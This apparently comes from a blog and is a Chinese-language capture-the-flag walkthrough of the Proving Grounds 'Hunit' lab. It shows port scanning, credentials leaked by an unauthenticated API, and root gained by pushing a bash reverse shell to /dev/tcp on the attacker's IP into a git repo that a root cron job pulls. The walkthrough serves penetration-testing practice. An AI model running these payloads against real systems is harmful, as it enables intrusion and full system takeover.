Proving Grounds Practice : Hunit Walkthrough

 Proving Grounds Practice : Hunit Walkthrough


Foothole (立足點 ) :

  • 8080 網頁發現 /api 與 /api/user 查到使用者帳號與密碼
  • SSH 登入拿到 shell

PE ( 提權 ) :

  • 拿到另一個使用者 git 的 id_rsa 且是 git-shell
  • 使用 git 相關指令寫 Reverse shell 建立連線提權成功

注意事項 :

  • git-shell 的應用


Rustscan,└─$ rustscan -a 192.168.152.125 --scripts none --ulimit 5000 | tee rustscan



snmp filtered,└─$ sudo nmap -sU -p 161 192.168.152.125 | tee snmp



nmap,└─$ sudo nmap -sCV -A -p 8080,12445,18030,43022 192.168.152.125 | tee nmap

8080/tcp  open  http-proxy

|     <title>My Haikus</title>

12445/tcp open  netbios-ssn Samba smbd 4.6.2

18030/tcp open  http        Apache httpd 2.4.46 ((Unix))

43022/tcp open  ssh         OpenSSH 8.4 (protocol 2.0)




SMB check,└─$ smbclient -L \192.168.152.125 -p 12445         



查看 Commander 資料夾內容,發現一堆檔案

└─$ smbclient \\\\192.168.152.125\\Commander -p 12445



可以上傳檔案



8080 /



8080 /robots.txt



gobuster nothing



18030 /

是個打地鼠網站



18030 /robots.txt



gobuster 18030



到此沒有發現,讓我們從頭將沒有做過的枚舉開始做一次

8080 / Header



8080 / 檢視 Source Code,發現 articles 顯示路徑如下

<a href="/article/the-taste-of-rain">



存取 http://192.168.152.125:8080/article/the-taste-of-rain

Source Code 發現 /api/




開啟來看看 8080 /api/

難怪 gobuster 掃不出來,因為一定要有最後面的 /,gobuster 沒有自動 301 跳轉



└─$ curl http://192.168.186.125:8080/api/
有顯示 API 相關路徑



8080 /api/user/

直接看到 5 個使用者帳號與密碼



其中有一個描述比較不一樣顯示他是管理者




└─$ curl http://192.168.186.125:8080/api/user/
{"login":"dademola","password":"ExplainSlowQuest110","firstname":"Derik","lastname":"Ademola","description":"Admin","id":6}



將所有帳號與密碼存成檔案直接 hydra 測試看看,有效的憑證就是剛剛那個管理者

獲得一組帳號密碼 dademola:ExplainSlowQuest110



SSH 直接登入系統了



cat /etc/passwd

有個特別的 git 帳號,shell 是 /usr/bin/git-shell



cat /etc/crontab

沒有 crontab



查查看 /etc 底下名稱為 cron 的


有一個 crontab.bak 看一下內容


該兩個檔案都無法讀取



find / -perm -u=s -type f 2>/dev/nul



排除 /home/dademola,沒有特殊寫入檔案





sudo -l,連 sudo 都無法執行



su git 切換使用者,測試 git 密碼失敗




pspy64,發現定期會跑 /root/pull.sh,內容會執行 git pull

/usr/lib/git-core/git fetch --update-head-ok

/bin/sh -c git-upload-pack '/git-server' git-upload-pack '/git-server'



看來現在一切都跟 git 有關,繼續枚舉在 / 底下看到一各屬於 git 身分的資料夾 git-server



內容有 HEAD 看來是 git 相關的存放資料夾



git show 看一下



git log



git show 看一下內容

標準的 diff --git A 備份與 B 備份



試試看可不可以 clone 出來,先到使用者 /home 目錄並建立一個 git

執行 git clone file://git-server/,改 git clone file:///git-server/ 成功



看一下 backups.sh 發現是一個 placeholder 檔案,根據對 git 的了解,可以推斷 /root/pull.sh 腳本(在 crontab 備份檔案中引用)將所做的變更拉到儲存庫的 master 分支。 為了測試這個理論,將嘗試將一些程式碼注入 backups.sh 腳本中,然後推送變更




繼續枚舉發現在 /home/git/.ssh 底下有 id_esa

看來所有東西都跟 git 有關但應該要先切換使用者



└─$ ssh -i id_rsa git@192.168.250.125 -p 43022

發現要密碼,嘗試了幾個簡單的沒有過



使用 ssh2john 發現沒有密碼,原來是自己愚蠢忘了改 id_rsa 的權限

上上張圖有寫權限錯誤但沒注意,所以直接 sudo 給他跑下去就進去了




但甚麼指令都不能使用,因為這個 shell 是 git-shell


直接用 GIT_SSH_COMMAND 帶 id_esa 權限將整個 git0-server clone 到 kali

└─$ GIT_SSH_COMMAND='ssh -i id_rsa -p 43022' git clone git@192.168.250.125:/git-server




因為 backups.sh 是一個 placeholder 檔案,所以先執行
kali@kali:~$ cd git-server
kali@kali:~/git-server$ git config --global user.name "kali"
kali@kali:~/git-server$ git config --global user.email "kali@kali.(none)"



寫一個 Reverse Shell 回來並建立成 backups.sh

└─$ echo "sh -i >& /dev/tcp/192.168.45.248/8080 0>&1" >> backups.sh

並修改 backups.sh 可執行




推送 Git

└─$ git add -A

└─$ git commit -m "pwn"


git push

└─$ GIT_SSH_COMMAND='ssh -i /home/kali/pg/125/id_rsa -p 43022' git push origin master


8080 Reverse Shell 進來了,whoami & id 確認是管理者



留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)